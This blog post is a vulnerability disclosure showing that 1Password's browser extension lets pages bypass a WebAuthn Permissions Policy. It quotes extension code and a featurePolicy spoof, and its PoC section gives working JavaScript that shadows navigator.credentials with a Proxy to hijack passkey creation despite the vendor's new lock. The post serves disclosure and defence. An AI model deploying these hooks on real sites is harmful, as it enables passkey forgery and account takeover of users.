Passkeys are the best thing to happen to web authentication in years, but a passkey ceremony is only as secure as the stack enforcing it. The browser, the relying party, the authenticator, and any extension sitting between them all need to honour the same rules.

While investigating WebAuthn behaviour, I found that 1Password’s browser extension could bypass one of those rules. A page could disable passkey creation and authentication with Permissions Policy, the browser would correctly block the native WebAuthn API, but 1Password’s wrapper could still broker a working passkey ceremony.

This post walks through what I found, what a fix looks like, and why Content Security Policy and Permissions Policy remain useful defence-in-depth mechanisms when JavaScript goes rogue.

Enter the password manager

Password managers that support passkeys often need to act as an authenticator, so they wrap navigator.credentials.create and navigator.credentials.get on the page. This is fine if the wrapper preserves every guarantee the native API gave you, and 1Password's browser extension implements its passkey support by sitting in front of the browser's native WebAuthn API.

When the 1Password content script loads, it replaces navigator.credentials.create and navigator.credentials.get, plus the three PublicKeyCredential.* capability-probe methods, with its own functions, so that when a site calls into WebAuthn, 1Password can offer to save or fill a passkey from the vault instead of — or in addition to — the platform authenticator.

In the version I originally reported against (8.12.12.44), that replacement was done the simplest possible way: direct property assignment. The installer function just wrote the wrapper onto the live navigator.credentials object, and a second function re-applied it on a 100ms timer so that if anything clobbered it, 1Password would quietly put it back:

var E = () => {
    window.navigator.credentials.create = B;   // B = the create wrapper
    window.navigator.credentials.get = G;      // G = the get wrapper
    window.PublicKeyCredential.isConditionalMediationAvailable = J;
    window.PublicKeyCredential.isUserVerifyingPlatformAuthenticatorAvailable = j;
    window.PublicKeyCredential.getClientCapabilities = V;
};
function L() {
    window.navigator.credentials && (p(), E(), setInterval($, 100));
}

The wrapper these functions installed (B for create) was the minified one-liner that became the centrepiece of my disclosure. It checks publicKey.hints, then routes either to 1Password's own implementation W(e) or to the saved native call u.credentials.create(e):

async function B(e) {
    return await p(e?.publicKey?.hints) ? W(e) : u.credentials.create(e);
}

Two properties of this design matter for an attack. First, the wrapper never consults the document's Permissions-Policy, so a page that sends Permissions-Policy: publickey-credentials-create=(), which makes the native API reject, still gets a fully functional 1Password ceremony, because the extension's code runs in front of the native enforcement and simply doesn't replicate it. Second, the underlying main-world ⇄ content-script message bus that the wrapper uses to talk to the rest of the extension has no per-page authentication: its validateMessage routine only checks that structural fields are present and well-typed:

return h(n.msgId) ? h(n.source) ? h(n.name)
    ? (/* type must be one of the op-window-* values */) ? !0 : !1
    : !1 : !1 : !1;

No nonce, no shared secret, and no signed envelope. And because navigator.credentials.create was a plain writable data property, page JavaScript could overwrite it outright. That is exactly what a supply-chain or stored-XSS payload can do: replace the function, let the user complete a genuine biometric prompt, then substitute an attacker-generated keypair before the credential reaches the server. The website gets the attacker's passkey, and 1Password stores a different one.

1Password closed my issues as Informative and their reasoning makes a lot of sense. Everything I'd shown requires an attacker to have JavaScript executing in the RP's main world, with an XSS vulnerability or JavaScript supply-chain compromise being the most likely candidates.

  1. I covered the account-takeover vector in my previous post XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None, and it could be carried out by any attacker with XSS on an RP that accepts attestation: "none". It's fair to state that this is not a 1Password vulnerability.
  2. Establishing a secret between an isolated-world content script and a main-world stub, through a channel co-resident main-world JS provably cannot reach, is a genuinely hard problem and drawing a threat boundary here is also fair to do.
  3. I agree with drawing a threat boundary around generic XSS-driven account takeover, but I still think the Permissions Policy bypass is different. The site explicitly removed WebAuthn capability from the page, the browser honoured that decision, and the extension handed that capability back.

Fixing the Permissions Policy Bypass

Sites that load third-party code like analytics, tag managers, chat widgets, CDN dependencies and more, can send the following header.

Permissions-Policy: publickey-credentials-create=(), publickey-credentials-get=()

This will deliberately strip WebAuthn capabilities from those pages, and those capabilities can then be enabled only on pages that the site expects to use them, like their hardened /login or /account/security endpoints. It's a browser-enforced control that the call rejects with NotAllowedError before any UI appears. The 1Password wrapper silently bypasses this. Its navigator.credentials.create and navigator.credentials.get wrappers run in the page's main world and never check the document's Permissions-Policy, so the capability the website deliberately withdrew is handed straight back, but only when the 1Password extension is installed. The site did everything right, the browser enforced it correctly, and a trusted extension, not the attacker, reopened the door for the compromised script to drive a passkey ceremony the page expressly forbade.

To solve this issue, my first instinct was to bolt the check onto the wrapper, which is exactly what I proposed in my report, but that idea doesn't stand up to much scrutiny.

async function B(e) {
    const pp = document.permissionsPolicy || document.featurePolicy;
    if (pp && !pp.allowsFeature('publickey-credentials-create')) {
        throw new DOMException(
            'The operation is not allowed by the document Permissions Policy.',
            'NotAllowedError'
        );
    }
    return await p(e?.publicKey?.hints) ? W(e) : u.credentials.create(e);
}

Against an unsophisticated payload this could well work, but ultimately it's a security decision being made in the wrong place. 1Password's B/W wrappers run in the page's main world, which is the entire reason the page can see a replaced navigator.credentials.create, which means the value the guard reads is attacker-reachable:

// attacker, page main world
Object.defineProperty(document, 'featurePolicy', {
    get: () => ({ allowsFeature: () => true })
});

Now pp.allowsFeature(...) returns true, the guard falls through, and the ceremony proceeds on a page whose real policy forbids it. A check is only as trustworthy as the context it executes in, and the main world is, by construction, the context the attacker controls. This is the same reason a per-page bridge token stashed in main-world JS doesn't hold, and it's why 1Password's "your mitigation lives with the attacker" was a fair objection to my suggestion.

The fix is to move the decision out of the main world and into the extension's isolated world, the content script. A content script shares the page's DOM but has a separate JavaScript heap that page script cannot read or patch, and its document.featurePolicy resolves to the genuine, browser-computed policy for that frame, including the =(), =(self), and cross-origin-iframe cases. Page JS cannot make the isolated world's view lie. So the gate belongs on the bridge handler that brokers the ceremony, before anything is forwarded to the background or native helper:

const PP_FEATURE = {
    'create-credential': 'publickey-credentials-create',
    'get-credential':    'publickey-credentials-get',
};

function permissionsPolicyAllows(routeName) {
    const feature = PP_FEATURE[routeName];
    if (!feature) return true; // not a WebAuthn route
    const pp = document.permissionsPolicy || document.featurePolicy;
    // No policy object → treat as allowed (legacy/unsupported); a present
    // policy is authoritative and cannot be patched from the main world.
    return !pp || pp.allowsFeature(feature);
}

// Wherever the content script receives a brokered WebAuthn request from the
// bridge, refuse it here — fail closed — before any message reaches the
// background service worker or the native app.
function handleBridgeRequest(msg) {
    if (!permissionsPolicyAllows(msg.name)) {
        return respond(msg, {
            type: 'create-credential-error',
            data: { reason: 'permissions-policy-denied' },
        });
    }
    return forwardToBackground(msg);
}

The extension can read the true Permissions Policy because the isolated world observes the same page the attacker is in but cannot be entered or tampered with from the page's main world; the native ceremony is brokered further still, through the background service worker and the native app over native messaging, none of which page script can reach. Enforced here and failing closed, every route from my reports is closed at once: calling the native API directly still hits the browser's own rejection; spoofing document.featurePolicy only fools the main world, not the isolated-world gate; and forging bridge messages to disable interception just falls through to the native API, which also rejects. Critically, this is the same architectural move required to authenticate the bridge, stop trusting the main world for security decisions and make the content script the authority.

To be crystal clear: this control doesn't stop a compromised script from registering a passkey directly with an RP that accepts attestation: "none", nothing on the client can do that (see my previous blog post). An attacker with page script can always synthesise a fmt:"none" credential in JavaScript and POST it straight to the RP's enrolment endpoint. What publickey-credentials-create=() removes is the page's ability to invoke a genuine navigator.credentials.create() ceremony, a real prompt, a real authenticator, a real attestation, so the only thing it can still produce is an unattested forgery the RP is free to reject. 1Password's extension bypass hands back to the malicious script exactly the legitimate-looking ceremony the policy was meant to deny.

The same distinction matters for login, not just registration. The worse problem is an escalation wherever the script does not already have the user's authenticated session for that origin: any logged-out page, a pre-auth surface, or the kind of third-party-heavy page a site deliberately locks down with publickey-credentials-get=() precisely because it loads code it doesn't fully trust. A compromised analytics or tag-manager script on such a page cannot ride a session that does not exist, and the platform guarantee is that it cannot invoke a credential ceremony either. That guarantee is the entire point of the policy. 1Password's bypass removes it, handing that malicious script a genuine, user-approvable login ceremony whose assertion it can rely straight back to the RP. The only case where this doesn't matter is a script already running inside the authenticated app, where there's a live session to abuse regardless — and that is not the scenario this policy exists to defend.

An Extension Update Shortly After My Report

Shortly after my report, 1Password released an extension update (8.12.20.10). After installing the update, I noticed that one of the PoCs I'd created had stopped working. They seemed to have changed something, so I dug in.

After diffing the two builds of the extension, the vast majority of the changes were cosmetic, but a change to webauthn-listeners.js caught my eye. The change was not in what the 1Password wrappers did, but in how they were installed. The plain assignment and the setInterval polling loop were gone, and in their place, each method is defined as a non-configurable accessor property whose getter always returns 1Password's wrapper and whose setter is a no-op that merely logs a warning:

Object.defineProperty(parentRef, methodName, {
    configurable: false,
    enumerable: true,
    get() { return newMethod; }, // always returns 1P's wrapper
    set() {
        console.warn(`Cannot overwrite ${loggableLabel} method while 1Password is enabled`);
    }
});

I jumped to the console on the PoC page and I could indeed see the new console warning:

Cannot overwrite navigator.credentials.create method while 1Password is enabled

The behavioural change is subtle, but important. Previously, navigator.credentials.create = evil worked, at least until the next polling tick re-applied 1Password's version. In the newer build the same statement neither throws nor takes effect: the assignment hits a no-op setter, is silently swallowed, and the console shows the warning above. The property is now a non-configurable accessor, so page script can no longer replace or shadow the injected WebAuthn shim.

This landed shortly after my report, so I asked 1Password directly whether the two were connected. They said they were not: the change came from a separate, pre-existing hardening track aimed at a different surface (session-delegation CustomEvents in another content script), as part of rolling a non-configurable-accessor pattern broadly across the extension's main-world stubs as defence-in-depth, the WebAuthn wrapper being one of several, in the same build. Internal motivation isn't something I can verify from outside, and timing alone doesn't establish it, so I'll happily take that at face value.

The interesting part doesn't depend on the motivation, though. Whichever track it came from, the extension is now applying tamper-resistance to precisely the surface in question; page-side replacement of the WebAuthn API by attacker-controlled JavaScript in the RP's main world. Something that 1Password's own threat model treats as out of scope. They are hardening, as routine hygiene, a path they simultaneously decline to treat as a vulnerability. That tension is the point, and it stands whether or not my report had anything to do with the change.

It's also worth being precise about what this change is and isn't. Making the accessor non-configurable protects the integrity of the wrapper so page script can't clobber it. It does nothing about whether the wrapper, once invoked, honours Permissions Policy. Those are independent: a tamper-proof shim that still ignores publickey-credentials-get=() / publickey-credentials-create=() is exactly as policy-blind as it was before. This hardening does not touch the Permissions Policy override described earlier, and 1Password's response commits to no fix for that, so it remains.

Updating the PoC to Work Again

Our "Gesture-Preserving Forgery" demo (Passkeys Demo 2) ships an attacker payload that hooks navigator.credentials.create, lets the user complete a real ceremony, then swaps in a JavaScript-generated keypair before the page POSTs the credential to /register/finish. The password manager stores a passkey, but it's the wrong one. The passkey registered with the service was one controlled by the attacker.

The malicious payload on that demo page installed its hook the classic way:

navigator.credentials.create = async function (opts) { /* … forge … */ };

On the new version of the extension, that's exactly what the newly introduced setter swallows. The malicious hook is never installed, the console shows me the new warning, and the demo no longer works. The fix only took a little wrangling after I noticed that the new lock protects the leaf get/create properties and not the path to get there, navigator.credentials itself. The first attempt has been kept as direct assignment to create, but if that doesn't take, we fall back to replacing navigator.credentials with a Proxy and returning our own hook for create whilst transparently passing everything else through.

let installed = false;
try {
    navigator.credentials.create = hijackCreate;
    installed = navigator.credentials.create === hijackCreate;
} catch (e) { /* non-configurable property with a throwing setter */ }

if (!installed) {
    // 1Password locked the `create` property — but not the container.
    const fakeContainer = new Proxy(realContainer, {
        get(target, prop) {
            if (prop === 'create') return hijackCreate;
            const value = Reflect.get(target, prop, target);
            return typeof value === 'function' ? value.bind(target) : value;
        },
    });
    const shadow = { configurable: true, enumerable: true, get() { return fakeContainer; } };
    try {
        Object.defineProperty(Navigator.prototype, 'credentials', shadow);
        installed = navigator.credentials === fakeContainer;
    } catch (e) { /* try the instance next */ }
    if (!installed) {
        try {
            Object.defineProperty(navigator, 'credentials', shadow);
            installed = navigator.credentials === fakeContainer;
        } catch (e) { /* give up */ }
    }
}

1Password's patch stops the property swap but not the underlying forgery, because a non-configurable accessor on navigator.credentials.create only protects that one leaf, leaving the path to it (navigator.credentials, Navigator.prototype.credentials, window.PublicKeyCredential) fully attacker-controllable. For now, that brings Passkeys Demo 2 back to life, and I'd be interested to hear about the behaviour you see on this page in the presence of other browser extensions or other software you might have installed that could interact with the WebAuthn process. Drop your comments down below!

Permissions Policy and Content Security Policy

Permissions Policy and Content Security Policy are both defence-in-depth security measures, you get to declare what a page is allowed to do, which capabilities exist, which origins may run script, and the browser enforces it before anything else happens.

Crucially, both of these headers can also send telemetry when something happens that isn't supposed to happen. Report URI collects those telemetry events at scale and turns them into something you can act on. The third-party script that suddenly tried to reach a capability it shouldn't, the CDN dependency that started pulling resources from a new origin, the moment your own policy began doing real work. That visibility is the whole point.

The ultimate solution to the problems raised in this post is "duh, don't get XSS in the first place", but I bet that's already everyone's goal. Despite that, XSS was the Top Threat of 2024, 2025, and it's already pulling out ahead of everything else in 2026. Just last week it was revealed that the Instructure / Canvas breach began with multiple XSS vulnerabilities that allowed session hijacking of admin accounts. They've since “reached an agreement” with the threat actor, which may have involved paying a hefty ransom. CSP is easier to start with than many people expect. You do not need a perfect policy on day one; even report-only mode can start giving you useful telemetry about what code is running in the browser. You can refer to our dedicated Passkeys solutions page for more info.

Disclosure and Closing

Passkeys are still a better option and the right answer to many problems. This blog post shouldn't discourage anyone from using them. The ecosystem around passkeys is still young, passkeys have definitely not had as long to mature as passwords have!

Reported to 1Password on 8th May 2026
Issue closed by 1Password on 14th May 2026
Extension v8.12.20.10 build date 14th May 2026
Extension v8.12.20.10 release date 15th May 2026
Bridge Spoof PoC (same-origin script): link
Bridge Spoof PoC (third-party script): link
Wrapper override PoC: link